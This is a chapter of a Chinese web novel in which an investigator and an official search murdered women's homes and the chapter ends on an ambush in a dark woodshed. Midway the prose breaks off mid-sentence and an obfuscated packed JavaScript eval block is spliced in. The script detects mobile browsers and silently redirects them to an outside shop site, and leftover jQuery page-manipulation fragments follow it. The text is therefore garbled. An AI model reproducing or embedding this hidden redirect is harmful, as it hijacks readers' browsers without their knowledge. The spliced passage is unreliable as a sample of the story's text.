32. 恶鬼
    裴宁澄岂是好骗的。

    他从鼻子里“哼”出一声,倏然用力拽近她,“说吧,到底怎么回事?”

    苏尔诺狡黠地笑出声,趁他不备,屈膝往上朝他裆部而去。

    电光火石间,裴宁澄明白她要干什么,瞬间闪开身子,手上自然松动开。

    “你……”

    他出神地盯着得逞的苏尔诺。

    要是遇到危险,如果对面是男人,想办法攻击他下面。

    这一招克敌制胜的防身术,未穿越前的裴寂曾经教过苏尔诺。

    “裴大人,你难道不想尽快破案?靖王可是马上就到了!届时,你可能没机会破案。”苏尔诺揉捏着手腕,转身便奔向于元霜的卧房。

    她大力推开门,灰尘噗嗤落下,小小摘支窗破烂透风,北风吹得简陋的室内更是冰凉刺骨,床榻上的棉被胡乱揉成一团,一方小圆桌周遭置了两个凳子,再有就只有一个橱柜和女子的梳妆台。

    器具物件上皆布满灰尘,想必九月初一后,这里就被人闲置,遗忘了。

    如同已经入土的于元霜。

    苏尔诺不禁看向高高在上的房脊横梁,当日那白绫不知是搭在哪根横梁上面。

    没有任何闪回的片段。

    她脑中也空空如也,有些泄气地敲出系统,【为什么我不能亲历于元霜的最后的八秒?】

    系统安静如斯,好像只缩头乌龟。

    裴宁澄迈步进来时,只见她坐到了于元霜的床沿,手指小心触到那团如乱麻的锦被。

    “我什么都没看到。”她冷冷抬眼瞪他。

    裴宁澄倒是提起唇角笑:“没看到也未尝不是好事。”

    “正常人是看不到的。”

    “……你说谁不正常?”

    苏尔诺愤愤起身,又去翻梳妆台,摸到满手灰尘。

    拉开梳妆台的抽屉,只有孤零零的两只木头发簪和几朵廉价的珠花,没什么好看,旁边还有一个小抽屉,她顺手一拉,没拉开。

    “上锁了。”

    裴宁澄的声音又低又轻,在她身后。

    苏尔诺又奋力拉了两下,蹲下身仔细看,不料头碰上个硬物。

    她呲牙咧嘴地抬头,正好撞进同样蹲下来的人眼中。

    男人忍着笑,抬手抚了抚她的脑门,轻飘飘地说:“没事,比你刚刚撞我那一下可轻多了。”

    “……你这是报复?”

    裴宁澄笑出声,手头上已经在忙活那把锁。

    就是把简单的小铜锁,他没费多少公夫就打开,里面躺着一个账本样式的册子。

    苏尔诺翻开来看,顿时瞪大眼。

    “这是于元霜接客的账本。”

    上面详细记录了每日来的人数以及赚的银钱,还有吴家的日常开销。

    苏尔诺迅速翻到九月初一那日,只见女人歪歪斜斜的字迹。

    于元霜记下了好几个名字。

    两人对视一眼,遂立刻召来州府衙门的曹参军。

    “带这些人来问话。”

    曹参军领命而去,裴宁澄一行又带着人往其他两位死者的家中赶去。

    如今还剩下同住在杏花村的两位死者明巧儿和柳雀的家中未查验过。

    苏尔诺在马车上闭目养神,忽地睁开眼问道:“桃源村,梅树村,杏花村还有郭家村,其实都不远。”

    裴宁澄示意她说下去。

    “凶手为什么选这几个村?”

    “这几个女子虽然都曾是风尘女子,但并不相熟,且来自不同地方,互相之间并无渊源,也无交集,凶手到底怎么找上她们的?总不可能是随便选的人吧?”

    “她们被杀时都悄无声息,挣扎痕迹不明显,且门窗都无破坏,纵然男女力量悬殊,如果是陌生人,不会那么容易得逞。”

    裴宁澄眼眸深沉,道:“凶手定然是认识这些女子,而且就隐藏在这几个村子附近。”

    说着,他用指头沾了茶水在小几上画了起来。

    苏尔诺倾身去看,他竟然画的是地图。

    “这是桃源村,这里是郭家村,杏花村,梅树村则在中间,你看……”

    “这几个村子都是在兴阳山脚下不远。”

    正说话间,马车停了下来,窗外喧嚣。

    裴宁澄皱眉,叶奎打帘探头道:“主子,靖王到了州府,我们是要……”

    “先问完案子。”

    裴宁澄毫不迟疑,丝毫没有要先去觐见的想法。

    靖王到的可真快。

    苏尔诺心下惊跳,面上依然云淡风轻,“大人不去觐见,不怕靖王怪罪?”

    裴宁澄的眼淡淡掠着她,“怎么,你很想去见他?”

    声音也没什么情绪。

    苏尔诺觉得怪异,又说不上哪里怪。

    “我一个小小的评事,要见靖王干什么?”她垂头自嘲道。

    裴宁澄瞟了她几眼,抿了口冷茶。

    杏花村里死了三名女子,人人自危,各家各户在大白天都闭着门,马车刚刚驶进村口,村子里倒是传开了。

    沿街出来不少看热闹的人。

    先去的是明巧儿的家中。

    一进的小院子打理地干净整洁,应门的正是明巧儿的夫君董复。

    男子身量很高,五官凶狠,左边眉毛上有道深刻入骨的刀疤,他见到官差也不行礼反而挡住门,硬着声音问:“你们来我家做甚?”

    非常不耐烦。

    裴宁澄也不废话,只往自己身后看了眼。

    叶奎得了这眼神,带着人直接撞开董复,院门大开。

    院中却站着一妙龄女子,女子看着至多不过二十,这等寒冬天气却只着了薄薄的罗衫间裙。

    她瑟缩着身体惊地瞪大双眼,颇为无助。

    苏尔诺皱眉,“你是谁?”

    女子不言语,只是慌忙看向董复。

    裴宁澄手一挥,这两人都被带到屋内。

    董复被驾着动弹不得,怒目圆瞪,挣扎着说:“你们为什么抓我?”

    叶奎一脚把人踹到地上,“好好回话。”

    “她是谁?”裴宁澄指着妙龄女子。

    女子惊慌地抬头,董复倒是坦然,瞪眼说:“她是我才过门的小娘子。”

    众人都是一愣,明巧儿这才死了月余,他就另娶新妇。

    苏尔诺冷嗤:“难怪你家娘子被人害死,你能当成自缢,丝毫不想追查。”

    “她本来就是自缢,你们官府起了棺材不也是没查出什么来?”董复不服。

    “你怎知没查出来?”裴宁澄冷冽眼风扫过去,董复嘴唇蠕动最终哑口无言。

    审董复没花多长时间,那日明巧儿身亡,董复据说跟着漕帮跑船去了,家中独留她一人。问

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233128|148542||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了周遭的人家,都说没见过什么陌生人。

    巧的是,明巧儿的尸身居然是被邻居柳雀发现的,在六个女死者中,只有这两人是相熟的,白凤和这两位虽然是同村而住,据说只是点头之交,明巧儿和柳雀却是好姐妹,常结伴而行。

    据董复所言,再加上官府记录文书,明巧儿的死亡时间为十月初一午时左右。

    柳雀已经不在,明巧儿死时的状况无从得知,董复更是言明自己归家未发现任何不对之处,家中门窗完好,也无丢失财物。

    “你娘子身上可有任何物件不见了?比如衣服,首饰?”苏尔诺最后问道。

    毕竟董复在三天后赶回来给明巧儿下了葬。

    董复思忖半响才怪异地扯了下唇:“不知道是不是丢了,也可能是没穿,反正我没在她身上见着。”

    “什么?”

    “肚兜。”

    ……

    柳雀家就在几步之远,算是殷实和睦人家,夫君赵文是做小生意的,家中有婆母还有个才及笄的姑娘,据家里人说,柳雀因瞧见了明巧儿的尸身,受了惊吓,一病不起,每天神神叨叨地。

    “她总说有人在追她,要杀了她。”

    “还说……说隔壁巧儿姐姐是被恶鬼拖走的。”

    赵家那个小姑娘显然还被吓得不轻,苏尔诺再三询问才问出这么两句,其他人都噤若寒蝉,说自己什么都不知道,还说为了给明巧儿压惊,他们专程上了兴阳寺求了一道辟邪符。

    但是十月十五那日一大清早,柳雀就被发现吊死在家中的柴房,家里人也不疑有他,都说她是被明巧儿带走了。

    苏尔诺皱眉,柳雀是唯一一个见到上个死者的人,独独她被吊死在柴房。

    赵家的柴房在后院西边和猪圈靠在一起,和主院不在一列,晚间也没有灯火照明,因为猪圈有臭味发散,除了赵母喂猪时会去,其他时间没人靠近。

    一靠近柴房,猪圈的臭味果然就飘来,苏尔诺推开柴房门,大白天里面都黑咕隆咚,更别说是晚上了。

    叶奎不消一会便弄来个火把,依稀能看见里面杂物成堆,只有巴掌大的地方能落脚。

    苏尔诺才抬脚便被人拉了回来。

    “待着。”裴宁澄已经侧身闪了进去。

    叶奎跟着踏进去踩在一堆木头上,他看看头顶,笑道:“这房梁那么高,白绫怎么上去的?”

    柴房连个凳子都没有,搭上白绫可都有难度。

    【叮咚,宿主,有什么吩咐?】

    神出鬼没的系统终于出现。

    苏尔诺:【为什么我不能重现现场八秒了?】

    【随缘哦,你多找找方法。】

    【一边去。】

    苏尔诺丢了没用的系统,在黑暗中闭上眼,一定有什么是她能感觉到的。

    柳雀,凶手到底是怎么杀你的。

    苏尔诺额头冒出豆大汗珠,双手紧拽着披风衣角。

    “没什么异常,这么久了,即使凶手留下痕迹也被抹掉了。”

    裴宁澄的声音越飘越远。

    “吱呀”,柴房里有人进来。

    苏尔诺身躯微颤,手中提着的风灯瞬间被灌进来的大风吹灭,灯火明灭的瞬间,她只瞥见那人宽大的手掌以及那张恶鬼般的脸。

    ”啊……”

    这声惊呼被冰凉刺骨的大手掌捂住。